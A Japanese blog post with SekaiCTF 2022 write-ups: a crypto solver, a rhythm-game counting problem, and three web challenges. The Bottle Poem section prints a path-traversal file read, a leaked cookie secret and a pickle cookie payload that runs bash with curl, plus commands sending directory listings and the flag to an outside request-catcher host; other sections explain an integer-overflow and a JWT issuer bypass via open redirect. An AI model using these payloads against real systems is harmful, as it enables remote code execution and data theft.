はまやんはまやんはまやん

hamayanhamayan's blog

SekaiCTF 2022 Writeupというかチラシの裏

[crypto] Time Capsule

SEKAI{から始まる平文にstage1処理をして、stage2処理をしたものが与えられる。
逆関数をどちらも作って解読していく。

まずは、stage2であるが、xor暗号化している。
ざっくり「msg ^ 乱数列 + time(後ろ18byte) ^ 0x42」みたいな処理になっている。
乱数列はtimeをもとに生成しているので、

  1. 後ろ18byteを持ってきて0x42とxorすることでtimeを明らかにする
  2. timeが分かれば乱数列を再現できるので、再現してmsgを手に入れる

これでstage2処理前のメッセージが得られたので次はstage1を考える。
8個のランダムな[0,255]からなる配列を使ってシャッフル処理をしている。
[0,255]からなる配列を使ってはいるが、大小関係だけを処理では使用しているので、
実質[0,1,2,3,4,5,6,7]の配列をランダムに入れ替えたものと考えてしまって問題ない。
これは8!通りしか組み合わせが無いので全探索ができる。
あとは、シャッフルに使用しているencrypt_stage_oneの逆関数を作って、
すべての組み合わせからSEKAI{から始まる平文を探し出すと答え。

SEKAI{T1m3_15_pr3C10u5_s0_Enj0y_ur_L1F5!!!}

import base64
from Crypto.Util.strxor import *
import random
import os

enc = "lrr8pZFJCsp0qt0mBnsrIaATtebvixGqchUKfdlTil6tOh+aCtDDexsoynN0dnVwdnN1c3JscXp2dHV3cg=="
enc = base64.b64decode(enc)

# solve stage two

msg = enc[:-18]
now = enc[-18:]

now = strxor(now, b"\x42" * 18)
print(now)

random.seed(now)
key = [random.randrange(256) for _ in msg]
msg = bytes([m ^ k for (m,k) in zip(msg, key)])

print(msg)

# solve stage one

msg = msg.decode('utf-8')
def encrypt_stage_one_rev(message, key):
    u = [s for s in sorted(zip(key, range(len(key))))]
    buf = []
    cur = 0
    for i in u:
        for j in range(i[1], len(message), len(key)):
            buf.append((j, message[cur]))
            cur += 1

    res = ""
    for p in sorted(buf):
        res += p[1]
    return res

import itertools

for rand_nums in list(itertools.permutations(list(range(8)))):
    flag = msg
    for _ in range(42):
        flag = encrypt_stage_one_rev(flag, rand_nums)
    if flag.startswith("SEKAI{"):
        print(f"found! {flag}")

[PPC] Let’s Play Osu!Mania

普通に競プロ。
音ゲーの譜面があって、tap noteとhold noteが書いてある。
hold noteは連続しているものは1つとしてカウントするときにnoteの数を答える問題。
横は4固定で縦Nは、N<104
適当に実装する。

tap noteの数を数えて、hold noteのグループ数も数える。
hold noteの上下にはtap noteがあるので、hold noteの数だけtap noteを1つ多く数えてしまっていることになる。
(hold部分の上は数えてOKだけど下は数えると二重で数えていることになる)
なので、tap-holdが答え。

SEKAI{wysi_Wh3n_y0u_fuxx1ng_C_727727}

int N;
string notes[10101];

void _main() {
    cin >> N;
    getline(cin, notes[0]);
    rep(i, 0, N) getline(cin, notes[i]);

    int tap = 0;
    int hold = 0;
    int pre[4] = { 0, 0, 0, 0 };
    rep(y, 0, N) {
        rep(x, 0, 4) {
            char c = notes[y][x + 1];

            if (c == '#') {
                if (pre[x] == 0) {
                    hold++;
                    pre[x]++;
                }
            }
            else {
                pre[x] = 0;
                if (c == '-') tap++;
            }
        }
    }

    cout << tap - hold << endl;
}

[web] Bottle Poem

ポエムが読めるサイト。
/show?id=spring.txtのようにファイルを読み込んでいる感があるので、
/show?id=/etc/passwdでやってみると抜けてくる。
LFI脆弱性が見つかる。

レスポンスを見るとserver: WSGIServer/0.2 CPython/3.8.12とあるのでpythonで書かれている。
それともとにいろいろやると、/show?id=/proc/self/cwd/app.pyでコードが抜けてくる。

from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

/signsession["name"] == "admin"になればフラグが得られそうと予想。
tokenにsecretを使って署名しているみたい。
from config.secret import sekaiとなっているので、これもLFIで抜く。

GET /show?id=/proc/self/cwd/config/secret.py
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

適当にコードを書いてCookieを作る。

from bottle import route, run, template, request, response, error
import os

@route("/")
def home():
    response.set_cookie("name", {"name": "admin"}, secret="Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")
    return "yeah"

if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=1337)

それを送るとadminで入れるが、フラグが出てこない。
Cookie: name="!rsOwvUb6jllVHQVOPlZv5w==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFYWRtaW6Uc4aULg=="
んー

問題文を見ると追記されていた
Flag is executable on server.
RCEまでつなげないとダメみたい。

んー、あー、と思っていると日本語の素晴らしい記事が見つかる。
[pickleを利用した任意のコード実行とPython Web Framework - mrtc0.log] (https://mrtc0.hateblo.jp/entry/2015/12/08/230840)
ここにかなり親切に書いてある!

name=guestのcookieを持ってくると!o8siMrdaVf83giE8crJurg==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFZ3Vlc3SUc4aULg==

import pickle;
from base64 import b64encode, b64decode

x = b'gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFZ3Vlc3SUc4aULg=='
x = b64decode(x)
x = pickle.loads(x)
print(x)

中身を見てみると('name', {'name': 'guest'})となっているみたい。
https://github.com/bottlepy/bottle/blob/master/bottle.py#L1848-L1856
を見ながら微妙にコードを変更して新しくcookieを作る。

import pickle, subprocess, base64, hmac, requests, sys
import hashlib

class getpasswd(object):
    def __reduce__(self):
        return (subprocess.check_output, (('bash','-c', 'curl https://abc.requestcatcher.com/test/'),))

p = pickle.dumps(('name', getpasswd()))
msg = base64.b64encode(p)
sig = base64.b64encode(hmac.new(b"Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu", msg, digestmod=hashlib.md5).digest())
c = b'!'+sig+b'?'+msg
print(c)

requestcatcherでリクエストを待って、これをCookieのnameに入れて、/signへリクエストを飛ばすとRCEできていることが確認できる。
探索するとフラグが手に入る。

ls -la / | curl https://abcc.requestcatcher.com/test/ -X POST -d @-

total 80
drwxr-xr-x   1 root root 4096 Oct  1 11:28 .
drwxr-xr-x   1 root root 4096 Oct  1 11:28 ..
drwxr-xr-x   1 root root 4096 Sep 30 17:27 app
drwxr-xr-x   1 root root 4096 Mar  1  2022 bin
drwxr-xr-x   2 root root 4096 Dec 11  2021 boot
drwxr-xr-x   5 root root  360 Oct  1 11:28 dev
drwxr-xr-x   1 root root 4096 Oct  1 11:28 etc
---x--x--x   1 root root  568 Sep 15 06:37 flag
drwxr-xr-x   2 root root 4096 Dec 11  2021 home
drwxr-xr-x   1 root root 4096 Mar  1  2022 lib
drwxr-xr-x   2 root root 4096 Feb 28  2022 lib64
drwxr-xr-x   2 root root 4096 Feb 28  2022 media
drwxr-xr-x   2 root root 4096 Feb 28  2022 mnt
drwxr-xr-x   2 root root 4096 Feb 28  2022 opt
dr-xr-xr-x 311 root root    0 Oct  1 11:28 proc
drwx------   1 root root 4096 Sep 29 20:22 root
drwxr-xr-x   3 root root 4096 Feb 28  2022 run
drwxr-xr-x   1 root root 4096 Mar  1  2022 sbin
drwxr-xr-x   2 root root 4096 Feb 28  2022 srv
dr-xr-xr-x  13 root root    0 Sep 30 19:00 sys
drwxrwxrwt   1 root root 4096 Sep 29 20:22 tmp
drwxr-xr-x   1 root root 4096 Feb 28  2022 usr
drwxr-xr-x   1 root root 4096 Feb 28  2022 var


/flag | curl https://abcc.requestcatcher.com/test/ -X POST -d @-

SEKAI{W3lcome_To_Our_Bottle}

[web] Crab Commodities

売買をして稼ぐゲーム。
2_000_000_000円あればflagが買えるので何とか不正をしてお金を稼ぐ。
ソースコードを読み込んでいくと悪用可能なオーバーフロー箇所がある。

api.rsのPOST /upgrade部分、111行目price *= body.quantity;という処理があり、ここでオーバーフローが発生する。
priceはgame.rsの157行目にてpub price: i32,のように定義されているので符号付32ビット。
この処理に入るStorage Upgradeの場合はprice=100_000であり、body.quantityは32766が最大なので、掛け合わせると上限の2147483647を超えてオーバーフローする。
最終的にこの値がapi.rsの146行目でuser.game.money.set(user.game.money.get() - price as i64);のように引き算されるので、支払っているはずが、稼ぐことができそうだ。

POST /api/upgradeでbodyをname=Storage+Upgrade&quantity=32765とすると、所持金が1,018,497,296になった。
OK.
オーバーフローしすぎると増やせる額が減ってしまうので、良い感じに調整をしてflagを買えるようにする。
POST /api/upgradeでbodyをname=Storage+Upgrade&quantity=22000とすると、所持金が2,094,997,296になった。
フラグが買えるようになる。

SEKAI{rust_is_pretty_s4fe_but_n0t_safe_enough!!}

[web] Issues

フラグを得るためには/api/flagにアクセスする必要があるが、その前にauthorizeによってtoken検証される。
有効な認証トークンを作成しよう。app.pyを見るとログインは作成中なので、自力でtokenを作成して、エラーを突破していく。

  1. No Authorization header found
    • Authorization: Bearer [token]をヘッダーに追加して認証を進める
    • 鍵を適当に作ってRS256でJWTトークンを入れてみる
    • 秘密鍵作成 openssl genrsa -out private.pem 4096
    • 公開鍵作成 openssl rsa -in private.pem -pubout -outform PEM -out public.pem
  2. issuer not found in JWT header
    • JWTのissuerに適当なURLを入れて試す
  3. Invalid issuer netloc: {issuer}. Should be: {valid_issuer}
    • ここの突破が問題
    • 任意のjwks.jsonファイルを参照させることで鍵を強制させたいが、ドメインをチェックされる
    • 悪用可能なリダイレクトが/logoutにあるので悪用する
    • http://localhost:8080/logout?redirect=http%3a%2f%2fgoogle.comみたいにすれば任意のURLが使える
    • requestcatcherでリクエストが来るか試すといい感じに来てくれる
  4. Expecting value: line 1 column 1 (char 0)
    • 単にapi.pyの34行目 key = resp["keys"][0]["x5c"][0] でのエラー
    • フォーマットがあってないだけ。与えられているjwks.jsonを参考に作成した公開鍵を適用する
  5. user claim missing
    • {'user':'admin'}が要求されているので作るとフラグが得られる。

SEKAI{v4l1d4t3_y0ur_i55u3r_plz}